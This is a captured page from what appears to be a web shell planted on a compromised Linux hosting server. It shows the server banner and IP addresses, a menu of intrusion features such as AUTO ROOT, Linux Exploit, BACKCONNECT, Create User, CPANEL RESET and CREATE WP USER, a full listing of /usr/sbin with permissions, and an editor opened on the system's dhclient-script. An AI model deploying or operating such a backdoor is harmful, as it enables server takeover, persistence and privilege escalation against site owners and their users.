Linux server.hostify.co.in 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
Apache
: 162.214.74.213 | : 216.73.217.79
438 Domain
8.2.31
orangegroceries
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
NetworkManager
3.69
MB
-rwxr-xr-x
accessdb
15.42
KB
-rwxr-xr-x
accton
15.93
KB
-rwxr-xr-x
acpid
56.13
KB
-rwxr-xr-x
adcli
171.56
KB
-rwxr-xr-x
addgnupghome
3.01
KB
-rwxr-xr-x
addpart
15.16
KB
-rwxr-xr-x
adduser
137.83
KB
-rwxr-xr-x
agetty
56.71
KB
-rwxr-xr-x
alternatives
39.59
KB
-rwxr-xr-x
anacron
39.52
KB
-rwxr-xr-x
apachectl
4.7
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
63.21
KB
-rwxr-xr-x
arping
27.25
KB
-rwxr-xr-x
arptables
231.41
KB
-rwxr-xr-x
arptables-nft
231.41
KB
-rwxr-xr-x
arptables-nft-restore
231.41
KB
-rwxr-xr-x
arptables-nft-save
231.41
KB
-rwxr-xr-x
arptables-restore
231.41
KB
-rwxr-xr-x
arptables-save
231.41
KB
-rwxr-xr-x
atd
31.26
KB
-rwxr-xr-x
atrun
70
B
-rwxr-xr-x
auditctl
51.59
KB
-rwxr-xr-x
auditd
137.05
KB
-rwxr-xr-x
augenrules
4.05
KB
-rwxr-xr-x
aureport
120.3
KB
-rwxr-xr-x
ausearch
120.27
KB
-rwxr-xr-x
autrace
19.17
KB
-rwxr-x---
avcstat
15.35
KB
-rwxr-xr-x
badblocks
35.35
KB
-rwxr-xr-x
biosdecode
28.26
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-r-xr-xr-x
blkdiscard
23.2
KB
-rwxr-xr-x
blkid
51.61
KB
-rwxr-xr-x
blkmapd
39.42
KB
-rwxr-xr-x
blkzone
35.46
KB
-rwxr-xr-x
blockdev
31.42
KB
-rwxr-xr-x
bpftool
625.94
KB
-rwxr-xr-x
bridge
130.93
KB
-rwxr-xr-x
cache_check
2.91
MB
-rwxr-xr-x
cache_dump
2.91
MB
-rwxr-xr-x
cache_metadata_size
2.91
MB
-rwxr-xr-x
cache_repair
2.91
MB
-rwxr-xr-x
cache_restore
2.91
MB
-rwxr-xr-x
cache_writeback
2.91
MB
-rwxr-xr-x
capsh
31.21
KB
-rwxr-xr-x
cfdisk
96.34
KB
-rwxr-xr-x
cgdisk
150.86
KB
-rwxr-xr-x
chcpu
31.42
KB
-rwxr-xr-x
chgpasswd
59.77
KB
-rwxr-xr-x
chkconfig
43.78
KB
-rwxr-xr-x
chpasswd
55.63
KB
-rwxr-xr-x
chronyd
369.44
KB
-rwxr-xr-x
chroot
39.73
KB
-rwxr-xr-x
clock
59.77
KB
-rwxr-xr-x
collectd
226.45
KB
-rwxr-xr-x
collectdmon
15.15
KB
-rwxr-xr-x
consoletype
15.28
KB
-rwxr-xr-x
convertquota
69.01
KB
-rwxr-xr-x
cracklib-check
15.7
KB
-rwxr-xr-x
cracklib-format
255
B
-rwxr-xr-x
cracklib-packer
15.7
KB
-rwxr-xr-x
cracklib-unpacker
15.69
KB
-rwxr-xr-x
create-cracklib-dict
994
B
-rwxr-xr-x
crond
76.16
KB
-rwxr-xr-x
cryptsetup
232.41
KB
-rwxr-xr-x
csf
292.6
KB
-rwx------
ctrlaltdel
15.19
KB
-rwxr-xr-x
ctstat
23.59
KB
-rwxr-xr-x
dcb
94.69
KB
-rwxr-xr-x
ddns-confgen
27.26
KB
-rwxr-xr-x
debugfs
233.03
KB
-rwxr-xr-x
delpart
15.13
KB
-rwxr-xr-x
depmod
165.57
KB
-rwxr-xr-x
devlink
161.81
KB
-rwxr-xr-x
dhclient
1.91
MB
-rwxr-xr-x
dhclient-script
32.86
KB
-rwxr-xr-x
dmeventd
51.77
KB
-r-xr-xr-x
dmfilemapd
23.3
KB
-r-xr-xr-x
dmidecode
156.49
KB
-rwxr-xr-x
dmsetup
156.77
KB
-r-xr-xr-x
dmstats
156.77
KB
-r-xr-xr-x
dnssec-cds
47.67
KB
-rwxr-xr-x
dnssec-checkds
924
B
-rwxr-xr-x
dnssec-coverage
926
B
-rwxr-xr-x
dnssec-dsfromkey
39.44
KB
-rwxr-xr-x
dnssec-importkey
35.44
KB
-rwxr-xr-x
dnssec-keyfromlabel
39.42
KB
-rwxr-xr-x
dnssec-keygen
47.45
KB
-rwxr-xr-x
dnssec-keymgr
922
B
-rwxr-xr-x
dnssec-revoke
31.41
KB
-rwxr-xr-x
dnssec-settime
47.44
KB
-rwxr-xr-x
dnssec-signzone
95.88
KB
-rwxr-xr-x
dnssec-verify
31.45
KB
-rwxr-xr-x
dosfsck
84.56
KB
-rwxr-xr-x
dosfslabel
40.02
KB
-rwxr-xr-x
dovecot
143.55
KB
-rwxr-xr-x
dovecot_cpshutdown
3.27
KB
-rwxr-xr-x
dump-acct
24.18
KB
-rwxr-xr-x
dump-utmp
16.03
KB
-rwxr-xr-x
dumpe2fs
31.29
KB
-rwxr-xr-x
e2freefrag
15.19
KB
-rwxr-xr-x
e2fsck
356.09
KB
-rwxr-xr-x
e2image
43.41
KB
-rwxr-xr-x
e2label
104.46
KB
-rwxr-xr-x
e2mmpstatus
31.29
KB
-rwxr-xr-x
e2undo
23.16
KB
-rwxr-xr-x
e4crypt
31.3
KB
-rwxr-xr-x
e4defrag
31.26
KB
-rwxr-xr-x
ebtables
231.41
KB
-rwxr-xr-x
ebtables-nft
231.41
KB
-rwxr-xr-x
ebtables-nft-restore
231.41
KB
-rwxr-xr-x
ebtables-nft-save
231.41
KB
-rwxr-xr-x
ebtables-restore
231.41
KB
-rwxr-xr-x
ebtables-save
231.41
KB
-rwxr-xr-x
ebtables-translate
231.41
KB
-rwxr-xr-x
edquota
89.5
KB
-rwxr-xr-x
era_check
2.91
MB
-rwxr-xr-x
era_dump
2.91
MB
-rwxr-xr-x
era_invalidate
2.91
MB
-rwxr-xr-x
era_restore
2.91
MB
-rwxr-xr-x
ether-wake
50.24
KB
-rwxr-xr-x
ethtool
988.96
KB
-rwxr-xr-x
exicyclog
11.1
KB
-rwxr-xr-x
exigrep
11.44
KB
-rwxr-xr-x
exim
1.55
MB
-rwsr-xr-x
exim_checkaccess
4.83
KB
-rwxr-xr-x
exim_dbmbuild
22.45
KB
-rwxr-xr-x
exim_dumpdb
23.68
KB
-rwxr-xr-x
exim_fixdb
32.24
KB
-rwxr-xr-x
exim_lock
22.79
KB
-rwxr-xr-x
exim_tidydb
23.7
KB
-rwxr-xr-x
eximstats
149.14
KB
-rwxr-xr-x
exinext
8.03
KB
-rwxr-xr-x
exiqgrep
6.58
KB
-rwxr-xr-x
exiqsumm
6.29
KB
-rwxr-xr-x
exiwhat
4.42
KB
-rwxr-xr-x
exportfs
68.46
KB
-rwxr-xr-x
faillock
23.18
KB
-rwxr-xr-x
fatlabel
40.02
KB
-rwxr-xr-x
fcgistarter
24.71
KB
-rwxr-xr-x
fdformat
23.2
KB
-rwxr-xr-x
fdisk
112.07
KB
-rwxr-xr-x
filefrag
19.22
KB
-rwxr-xr-x
findfs
15.16
KB
-rwxr-xr-x
firewalld
9.75
KB
-rwxr-xr-x
fix-info-dir
7.85
KB
-rwxr-xr-x
fixfiles
12.1
KB
-rwxr-xr-x
fixparts
60.98
KB
-rwxr-xr-x
fsadm
24.03
KB
-r-xr-xr-x
fsck
43.55
KB
-rwxr-xr-x
fsck.cramfs
31.38
KB
-rwxr-xr-x
fsck.ext2
356.09
KB
-rwxr-xr-x
fsck.ext3
356.09
KB
-rwxr-xr-x
fsck.ext4
356.09
KB
-rwxr-xr-x
fsck.fat
84.56
KB
-rwxr-xr-x
fsck.minix
55.71
KB
-rwxr-xr-x
fsck.msdos
84.56
KB
-rwxr-xr-x
fsck.vfat
84.56
KB
-rwxr-xr-x
fsck.xfs
2.54
KB
-rwxr-xr-x
fsfreeze
15.16
KB
-rwxr-xr-x
fstrim
43.51
KB
-rwxr-xr-x
fuser
41.09
KB
-rwxr-xr-x
g13-syshelp
88.6
KB
-rwxr-xr-x
gdisk
187.38
KB
-rwxr-xr-x
genhomedircon
32.04
KB
-rwxr-xr-x
genhostid
15.28
KB
-rwxr-xr-x
genl
130.1
KB
-rwxr-xr-x
getcap
15.13
KB
-rwxr-xr-x
getenforce
15.27
KB
-rwxr-xr-x
getpcaps
15.12
KB
-rwxr-xr-x
getpidprevcon
15.29
KB
-rwxr-xr-x
getpolicyload
15.28
KB
-rwxr-xr-x
getsebool
15.3
KB
-rwxr-xr-x
groupadd
68.77
KB
-rwxr-xr-x
groupdel
64.53
KB
-rwxr-xr-x
groupmems
55.77
KB
-rwxr-xr-x
groupmod
72.76
KB
-rwxr-xr-x
grpck
59.76
KB
-rwxr-xr-x
grpconv
51.56
KB
-rwxr-xr-x
grpunconv
51.53
KB
-rwxr-xr-x
grub2-bios-setup
1.34
MB
-rwxr-xr-x
grub2-get-kernel-settings
2.68
KB
-rwxr-xr-x
grub2-install
1.65
MB
-rwxr-xr-x
grub2-macbless
1.33
MB
-rwxr-xr-x
grub2-mkconfig
9.21
KB
-rwxr-xr-x
grub2-probe
1.35
MB
-rwxr-xr-x
grub2-reboot
4.7
KB
-rwxr-xr-x
grub2-set-bootflag
15.09
KB
-rwxr-xr-x
grub2-set-default
3.46
KB
-rwxr-xr-x
grub2-set-password
2.74
KB
-rwxr-xr-x
grub2-setpassword
2.74
KB
-rwxr-xr-x
grub2-switch-to-blscfg
8.81
KB
-rwxr-xr-x
grubby
260
B
-rwxr-xr-x
gssproxy
124.89
KB
-rwxr-xr-x
halt
298.42
KB
-rwxr-xr-x
hdparm
143.06
KB
-rwxr-xr-x
htcacheclean
52.8
KB
-rwxr-xr-x
httpd
1.09
MB
-rwxr-xr-x
hwclock
59.77
KB
-rwxr-xr-x
iconvconfig
31.68
KB
-rwxr-xr-x
ifconfig
78.98
KB
-rwxr-xr-x
ifenslave
23.73
KB
-rwxr-xr-x
ifstat
39.6
KB
-rwxr-xr-x
imunify-notifier
9.86
MB
-rwxr-xr-x
init
95.74
KB
-rwxr-xr-x
insmod
165.57
KB
-rwxr-xr-x
install-info
106.7
KB
-rwxr-xr-x
installkernel
323
B
-rwxr-xr-x
intel_sdsi
22.43
KB
-rwxr-xr-x
ip
770.19
KB
-rwxr-xr-x
ip6tables
231.41
KB
-rwxr-xr-x
ip6tables-nft
231.41
KB
-rwxr-xr-x
ip6tables-nft-restore
231.41
KB
-rwxr-xr-x
ip6tables-nft-save
231.41
KB
-rwxr-xr-x
ip6tables-restore
231.41
KB
-rwxr-xr-x
ip6tables-restore-translate
231.41
KB
-rwxr-xr-x
ip6tables-save
231.41
KB
-rwxr-xr-x
ip6tables-translate
231.41
KB
-rwxr-xr-x
ipmaddr
19.45
KB
-rwxr-xr-x
iprconfig
405.15
KB
-rwxr-xr-x
iprdbg
56.27
KB
-rwxr-xr-x
iprdump
32.02
KB
-rwxr-xr-x
iprinit
76.68
KB
-rwxr-xr-x
iprsos
2.19
KB
-rwxr-xr-x
iprupdate
90.26
KB
-rwxr-xr-x
ipset
15.27
KB
-rwxr-xr-x
ipset-translate
15.27
KB
-rwxr-xr-x
iptables
231.41
KB
-rwxr-xr-x
iptables-nft
231.41
KB
-rwxr-xr-x
iptables-nft-restore
231.41
KB
-rwxr-xr-x
iptables-nft-save
231.41
KB
-rwxr-xr-x
iptables-restore
231.41
KB
-rwxr-xr-x
iptables-restore-translate
231.41
KB
-rwxr-xr-x
iptables-save
231.41
KB
-rwxr-xr-x
iptables-translate
231.41
KB
-rwxr-xr-x
iptunnel
19.5
KB
-rwxr-xr-x
irqbalance
64.45
KB
-rwxr-xr-x
irqbalance-ui
39.59
KB
-rwxr-xr-x
kacpimon
19.26
KB
-rwxr-xr-x
kexec
192.6
KB
-rwxr-xr-x
key.dns_resolver
31.35
KB
-rwxr-xr-x
kpartx
47.52
KB
-rwxr-xr-x
kpatch
16.59
KB
-rwxr-xr-x
lchage
23.16
KB
-rwxr-xr-x
ldattach
27.23
KB
-rwxr-xr-x
ldconfig
1.12
MB
-rwxr-xr-x
ledctl
99.14
KB
-rwxr-xr-x
ledmon
96.79
KB
-rwxr-xr-x
lfd
459.46
KB
-rwx------
lgroupadd
15.12
KB
-rwxr-xr-x
lgroupdel
15.11
KB
-rwxr-xr-x
lgroupmod
23.13
KB
-rwxr-xr-x
lid
19.13
KB
-rwxr-xr-x
lnewusers
23.13
KB
-rwxr-xr-x
lnstat
23.59
KB
-rwxr-xr-x
load_policy
15.12
KB
-rwxr-xr-x
logrotate
95.66
KB
-rwxr-xr-x
logsave
15.19
KB
-rwxr-xr-x
losetup
72.09
KB
-rwxr-xr-x
lpasswd
23.13
KB
-rwxr-xr-x
lshw
853.59
KB
-rwxr-xr-x
lsmod
165.57
KB
-rwxr-xr-x
lspci
97.57
KB
-rwxr-xr-x
luseradd
23.13
KB
-rwxr-xr-x
luserdel
15.12
KB
-rwxr-xr-x
lusermod
23.13
KB
-rwxr-xr-x
lvchange
2.69
MB
-r-xr-xr-x
lvconvert
2.69
MB
-r-xr-xr-x
lvcreate
2.69
MB
-r-xr-xr-x
lvdisplay
2.69
MB
-r-xr-xr-x
lvextend
2.69
MB
-r-xr-xr-x
lvm
2.69
MB
-r-xr-xr-x
lvm_import_vdo
23.15
KB
-r-xr-xr-x
lvmconfig
2.69
MB
-r-xr-xr-x
lvmdevices
2.69
MB
-r-xr-xr-x
lvmdiskscan
2.69
MB
-r-xr-xr-x
lvmdump
10.13
KB
-r-xr-xr-x
lvmpolld
210.3
KB
-r-xr-xr-x
lvmsadc
2.69
MB
-r-xr-xr-x
lvmsar
2.69
MB
-r-xr-xr-x
lvreduce
2.69
MB
-r-xr-xr-x
lvremove
2.69
MB
-r-xr-xr-x
lvrename
2.69
MB
-r-xr-xr-x
lvresize
2.69
MB
-r-xr-xr-x
lvs
2.69
MB
-r-xr-xr-x
lvscan
2.69
MB
-r-xr-xr-x
makedumpfile
427.85
KB
-rwxr-xr-x
matchpathcon
15.31
KB
-rwxr-xr-x
mcelog
207.8
KB
-rwxr-xr-x
md-auto-readd.sh
401
B
-rwxr-xr-x
mdadm
633.92
KB
-rwxr-xr-x
mdmon
296.34
KB
-rwxr-xr-x
mii-diag
24.2
KB
-rwxr-xr-x
mii-tool
27.78
KB
-rwxr-xr-x
mkdict
255
B
-rwxr-xr-x
mkdosfs
52.51
KB
-rwxr-xr-x
mkdumprd
12.47
KB
-rwxr-xr-x
mke2fs
132.53
KB
-rwxr-xr-x
mkfs
15.17
KB
-rwxr-xr-x
mkfs.cramfs
35.38
KB
-rwxr-xr-x
mkfs.ext2
132.53
KB
-rwxr-xr-x
mkfs.ext3
132.53
KB
-rwxr-xr-x
mkfs.ext4
132.53
KB
-rwxr-xr-x
mkfs.fat
52.51
KB
-rwxr-xr-x
mkfs.minix
43.55
KB
-rwxr-xr-x
mkfs.msdos
52.51
KB
-rwxr-xr-x
mkfs.vfat
52.51
KB
-rwxr-xr-x
mkfs.xfs
450.77
KB
-rwxr-xr-x
mkhomedir_helper
23.21
KB
-rwxr-xr-x
mklost+found
15.12
KB
-rwxr-xr-x
mksquashfs
197.62
KB
-rwxr-xr-x
mkswap
47.5
KB
-rwxr-xr-x
modinfo
165.57
KB
-rwxr-xr-x
modprobe
165.57
KB
-rwxr-xr-x
modsec-sdbm-util
33.56
KB
-rwxr-x---
mount.fuse
15.34
KB
-rwxr-xr-x
mount.nfs
100.52
KB
-rwxr-xr-x
mount.nfs4
100.52
KB
-rwxr-xr-x
mountstats
42.5
KB
-rwxr-xr-x
mtr
73.68
KB
-rwxr-xr-x
mtr-packet
35.6
KB
-rwxr-xr-x
mysqld
60.69
MB
-rwxr-xr-x
named
545
KB
-rwxr-xr-x
named-checkconf
39.4
KB
-rwxr-xr-x
named-checkzone
39.34
KB
-rwxr-xr-x
named-compilezone
39.34
KB
-rwxr-xr-x
named-journalprint
15.13
KB
-rwxr-xr-x
named-nzd2nzf
15.12
KB
-rwxr-xr-x
nameif
15.58
KB
-rwxr-xr-x
newusers
88.71
KB
-rwxr-xr-x
nfsconf
39.87
KB
-rwxr-xr-x
nfsdcld
55.88
KB
-rwxr-xr-x
nfsdclddb
9.99
KB
-rwxr-xr-x
nfsdclnts
9.05
KB
-rwxr-xr-x
nfsdcltrack
39.92
KB
-rwxr-xr-x
nfsidmap
23.3
KB
-rwxr-xr-x
nfsiostat
23.35
KB
-rwxr-xr-x
nfsref
43.52
KB
-rwxr-xr-x
nfsstat
38.27
KB
-rwxr-xr-x
nft
27.17
KB
-rwxr-xr-x
nologin
15.16
KB
-rwxr-xr-x
nscd
162.95
KB
-rwxr-xr-x
nsec3hash
15.2
KB
-rwxr-xr-x
nstat
31.34
KB
-rwxr-xr-x
nvme
1.49
MB
-rwxr-xr-x
ownership
15.33
KB
-rwxr-xr-x
packer
15.7
KB
-rwxr-xr-x
pam_console_apply
43.51
KB
-rwxr-xr-x
pam_namespace_helper
471
B
-rwxr-xr-x
pam_timestamp_check
15.13
KB
-rwxr-xr-x
paperconfig
4.08
KB
-rwxr-xr-x
parted
96.39
KB
-rwxr-xr-x
partprobe
15.34
KB
-rwxr-xr-x
partx
59.77
KB
-rwxr-xr-x
pdata_tools
2.91
MB
-rwxr-xr-x
pdns_server
5.86
MB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
ping
89.33
KB
-rwxr-xr-x
ping6
89.33
KB
-rwxr-xr-x
pivot_root
15.16
KB
-rwxr-xr-x
plipconfig
15.35
KB
-rwxr-xr-x
pluginviewer
19.39
KB
-rwxr-xr-x
poweroff
298.42
KB
-rwxr-xr-x
pure-authd
23.02
KB
-rwxr-xr-x
pure-certd
22.92
KB
-rwxr-xr-x
pure-config.pl
4.64
KB
-rwxr-xr-x
pure-ftpd
177.13
KB
-rwxr-xr-x
pure-ftpwho
26.58
KB
-rwxr-xr-x
pure-mrtginfo
14.55
KB
-rwxr-xr-x
pure-quotacheck
22.56
KB
-rwxr-xr-x
pure-uploadscript
22.83
KB
-rwxr-xr-x
pvchange
2.69
MB
-r-xr-xr-x
pvck
2.69
MB
-r-xr-xr-x
pvcreate
2.69
MB
-r-xr-xr-x
pvdisplay
2.69
MB
-r-xr-xr-x
pvmove
2.69
MB
-r-xr-xr-x
pvremove
2.69
MB
-r-xr-xr-x
pvresize
2.69
MB
-r-xr-xr-x
pvs
2.69
MB
-r-xr-xr-x
pvscan
2.69
MB
-r-xr-xr-x
pwck
55.6
KB
-rwxr-xr-x
pwconv
47.45
KB
-rwxr-xr-x
pwhistory_helper
19.2
KB
-rwxr-xr-x
pwunconv
47.41
KB
-rwxr-xr-x
quotacheck
93.62
KB
-rwxr-xr-x
quotaoff
56.67
KB
-rwxr-xr-x
quotaon
56.67
KB
-rwxr-xr-x
quotastats
15.34
KB
-rwxr-xr-x
raid-check
3.71
KB
-rwxr-xr-x
rdisc
31.36
KB
-rwxr-xr-x
rdma
113.02
KB
-rwxr-xr-x
readprofile
23.27
KB
-rwxr-xr-x
realm
96.9
KB
-rwxr-xr-x
reboot
298.42
KB
-rwxr-xr-x
repquota
77.55
KB
-rwxr-xr-x
request-key
27.29
KB
-rwxr-xr-x
resize2fs
67.64
KB
-rwxr-xr-x
resizepart
23.4
KB
-rwxr-xr-x
restorecon
23.19
KB
-rwxr-xr-x
restorecon_xattr
15.13
KB
-rwxr-xr-x
rfkill
31.34
KB
-rwxr-xr-x
rmmod
165.57
KB
-rwxr-xr-x
rndc
43.25
KB
-rwxr-xr-x
rndc-confgen
23.26
KB
-rwxr-xr-x
rotatelogs
38.13
KB
-rwxr-xr-x
route
65.77
KB
-rwxr-xr-x
rpc.gssd
88.11
KB
-rwxr-xr-x
rpc.idmapd
47.73
KB
-rwxr-xr-x
rpc.mountd
132.56
KB
-rwxr-xr-x
rpc.nfsd
40
KB
-rwxr-xr-x
rpc.statd
80.79
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcctl
9.42
KB
-rwxr-xr-x
rpcdebug
18.66
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rsyslogd
794.28
KB
-rwxr-xr-x
rtacct
29.34
KB
-rwxr-xr-x
rtcwake
35.26
KB
-rwxr-xr-x
rtkitctl
15.24
KB
-rwxr-xr-x
rtmon
126.02
KB
-rwxr-xr-x
rtstat
23.59
KB
-rwxr-xr-x
runlevel
298.42
KB
-rwxr-xr-x
runq
1.55
MB
-rwsr-xr-x
runuser
55.62
KB
-rwxr-xr-x
sa
37.15
KB
-rwxr-xr-x
sasl2-shared-mechlist
15.13
KB
-rwxr-xr-x
saslauthd
88.33
KB
-rwxr-xr-x
sasldblistusers2
15.27
KB
-rwxr-xr-x
saslpasswd2
15.24
KB
-rwxr-xr-x
sedispatch
19.16
KB
-rwxr-xr-x
sefcontext_compile
72.38
KB
-rwxr-xr-x
selabel_digest
15.31
KB
-rwxr-xr-x
selabel_get_digests_all_partia...
15.33
KB
-rwxr-xr-x
selabel_lookup
15.3
KB
-rwxr-xr-x
selabel_lookup_best_match
15.31
KB
-rwxr-xr-x
selabel_partial_match
15.3
KB
-rwxr-xr-x
selinux_check_access
15.31
KB
-rwxr-xr-x
selinuxconlist
15.3
KB
-rwxr-xr-x
selinuxdefcon
15.3
KB
-rwxr-xr-x
selinuxenabled
15.27
KB
-rwxr-xr-x
selinuxexeccon
15.29
KB
-rwxr-xr-x
semanage
40.64
KB
-rwxr-xr-x
semodule
32.04
KB
-rwxr-xr-x
sendmail
18.08
KB
-rwxr-sr-x
service
4.51
KB
-rwxr-xr-x
sestatus
23.13
KB
-rwxr-xr-x
setcap
15.13
KB
-rwxr-xr-x
setenforce
15.3
KB
-rwxr-xr-x
setfiles
23.19
KB
-rwxr-xr-x
setpci
31.35
KB
-rwxr-xr-x
setquota
81.58
KB
-rwxr-xr-x
setroubleshootd
3.07
KB
-rwxr-xr-x
setsebool
19.15
KB
-rwxr-xr-x
sfdisk
103.98
KB
-rwxr-xr-x
sgdisk
167.14
KB
-rwxr-xr-x
showmount
15.48
KB
-rwxr-xr-x
shutdown
298.42
KB
-rwxr-xr-x
slattach
37.57
KB
-rwxr-xr-x
sm-notify
51.77
KB
-rwxr-xr-x
smartctl
853.95
KB
-rwxr-xr-x
smartd
615.6
KB
-rwxr-xr-x
sos
615
B
-rwxr-xr-x
sos-collector
135
B
-rwxr-xr-x
sosreport
128
B
-rwxr-xr-x
ss
131.3
KB
-rwxr-xr-x
sshd
950.11
KB
-rwxr-xr-x
sss_cache
35.25
KB
-rwxr-xr-x
sssd
71.61
KB
-rwxr-xr-x
start-statd
1
KB
-rwxr-xr-x
start-stop-daemon
48.65
KB
-rwxr-xr-x
suexec
37.6
KB
-rwsr-xr-x
sulogin
43.41
KB
-rwxr-xr-x
sw-engine-fpm
24.14
MB
-rwxr-xr-x
swaplabel
19.18
KB
-rwxr-xr-x
swapoff
23.27
KB
-rwxr-xr-x
swapon
43.31
KB
-rwxr-xr-x
switch_root
23.21
KB
-rwxr-xr-x
sysctl
31.49
KB
-rwxr-xr-x
tc
627.91
KB
-rwxr-xr-x
tcpdump
1.28
MB
-rwxr-xr-x
tcpslice
27.39
KB
-rwxr-xr-x
telinit
298.42
KB
-rwxr-xr-x
testsaslauthd
15.16
KB
-rwxr-xr-x
thin_check
2.91
MB
-rwxr-xr-x
thin_delta
2.91
MB
-rwxr-xr-x
thin_dump
2.91
MB
-rwxr-xr-x
thin_ls
2.91
MB
-rwxr-xr-x
thin_metadata_pack
2.91
MB
-rwxr-xr-x
thin_metadata_size
2.91
MB
-rwxr-xr-x
thin_metadata_unpack
2.91
MB
-rwxr-xr-x
thin_migrate
2.91
MB
-rwxr-xr-x
thin_repair
2.91
MB
-rwxr-xr-x
thin_restore
2.91
MB
-rwxr-xr-x
thin_rmap
2.91
MB
-rwxr-xr-x
thin_trim
2.91
MB
-rwxr-xr-x
tipc
92.8
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
tracepath
19.22
KB
-rwxr-xr-x
tracepath6
19.22
KB
-rwxr-xr-x
tsig-keygen
27.26
KB
-rwxr-xr-x
tune2fs
104.46
KB
-rwxr-xr-x
tuned
3.87
KB
-rwxr-xr-x
tuned-adm
6.68
KB
-rwxr-xr-x
udevadm
583.8
KB
-rwxr-xr-x
umount.nfs
100.52
KB
-rwxr-xr-x
umount.nfs4
100.52
KB
-rwxr-xr-x
unix_chkpwd
23.28
KB
-rwxr-xr-x
unix_update
31.32
KB
-rwx------
unsquashfs
113.8
KB
-rwxr-xr-x
update-alternatives
39.59
KB
-rwxr-xr-x
update-pciids
1.72
KB
-rwxr-xr-x
update-smart-drivedb
23.33
KB
-rwxr-xr-x
useradd
137.83
KB
-rwxr-xr-x
userdel
88.84
KB
-rwxr-xr-x
usermod
129.66
KB
-rwxr-xr-x
validatetrans
15.29
KB
-rwxr-xr-x
vdpa
35.88
KB
-rwxr-xr-x
vgcfgbackup
2.69
MB
-r-xr-xr-x
vgcfgrestore
2.69
MB
-r-xr-xr-x
vgchange
2.69
MB
-r-xr-xr-x
vgck
2.69
MB
-r-xr-xr-x
vgconvert
2.69
MB
-r-xr-xr-x
vgcreate
2.69
MB
-r-xr-xr-x
vgdisplay
2.69
MB
-r-xr-xr-x
vgexport
2.69
MB
-r-xr-xr-x
vgextend
2.69
MB
-r-xr-xr-x
vgimport
2.69
MB
-r-xr-xr-x
vgimportclone
2.69
MB
-r-xr-xr-x
vgimportdevices
2.69
MB
-r-xr-xr-x
vgmerge
2.69
MB
-r-xr-xr-x
vgmknodes
2.69
MB
-r-xr-xr-x
vgreduce
2.69
MB
-r-xr-xr-x
vgremove
2.69
MB
-r-xr-xr-x
vgrename
2.69
MB
-r-xr-xr-x
vgs
2.69
MB
-r-xr-xr-x
vgscan
2.69
MB
-r-xr-xr-x
vgsplit
2.69
MB
-r-xr-xr-x
vigr
58.15
KB
-rwxr-xr-x
vipw
58.15
KB
-rwxr-xr-x
virt-what
15.71
KB
-rwxr-xr-x
virt-what-cvm
15.32
KB
-rwxr-xr-x
visudo
220.85
KB
-rwxr-xr-x
vmcore-dmesg
27.3
KB
-rwxr-xr-x
vpddecode
19.34
KB
-rwxr-xr-x
weak-modules
33.58
KB
-rwxr-xr-x
whmapi0
3.36
MB
-rwxr-xr-x
whmapi1
3.36
MB
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
wipefs
39.28
KB
-rwxr-xr-x
xfs_admin
2.13
KB
-rwxr-xr-x
xfs_bmap
699
B
-rwxr-xr-x
xfs_copy
92.62
KB
-rwxr-xr-x
xfs_db
708.08
KB
-rwxr-xr-x
xfs_estimate
15.16
KB
-rwxr-xr-x
xfs_freeze
804
B
-rwxr-xr-x
xfs_fsr
43.51
KB
-rwxr-xr-x
xfs_growfs
43.63
KB
-rwxr-xr-x
xfs_info
1.27
KB
-rwxr-xr-x
xfs_io
202.59
KB
-rwxr-xr-x
xfs_logprint
88.26
KB
-rwxr-xr-x
xfs_mdrestore
27.28
KB
-rwxr-xr-x
xfs_metadump
786
B
-rwxr-xr-x
xfs_mkfile
1.02
KB
-rwxr-xr-x
xfs_ncheck
689
B
-rwxr-xr-x
xfs_quota
92.1
KB
-rwxr-xr-x
xfs_repair
686.23
KB
-rwxr-xr-x
xfs_rtcp
19.14
KB
-rwxr-xr-x
xfs_spaceman
43.78
KB
-rwxr-xr-x
xfsdump
285.03
KB
-rwxr-xr-x
xfsinvutil
61.02
KB
-rwxr-xr-x
xfsrestore
334.09
KB
-rwxr-xr-x
xqmstats
15.33
KB
-rwxr-xr-x
xtables-monitor
231.41
KB
-rwxr-xr-x
xtables-nft-multi
231.41
KB
-rwxr-xr-x
zic
59.63
KB
-rwxr-xr-x
zramctl
55.88
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dhclient-script
#!/usr/bin/bash # # dhclient-script: Network interface configuration script run by # dhclient based on DHCP client communication # # Copyright (C) 2008-2014 Red Hat, Inc. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # Author(s): David Cantrell <dcantrell@redhat.com> # Jiri Popelka <jpopelka@redhat.com> # # ---------- # This script is a rewrite/reworking on dhclient-script originally # included as part of dhcp-970306: # dhclient-script for Linux. Dan Halbert, March, 1997. # Updated for Linux 2.[12] by Brian J. Murrell, January 1999. # Modified by David Cantrell <dcantrell@redhat.com> for Fedora and RHEL # ---------- # PATH=/bin:/usr/bin:/sbin # scripts in dhclient.d/ use $SAVEDIR (#833054) export SAVEDIR=/var/lib/dhclient LOGFACILITY="local7" LOGLEVEL="notice" ETCDIR="/etc/dhcp" RESOLVCONF="/etc/resolv.conf" logmessage() { msg="${1}" logger -p "${LOGFACILITY}.${LOGLEVEL}" -t "NET" "dhclient: ${msg}" } eventually_add_hostnames_domain_to_search() { # For the case when hostname for this machine has a domain that is not in domain_search list # 1) get a hostname with `ipcalc 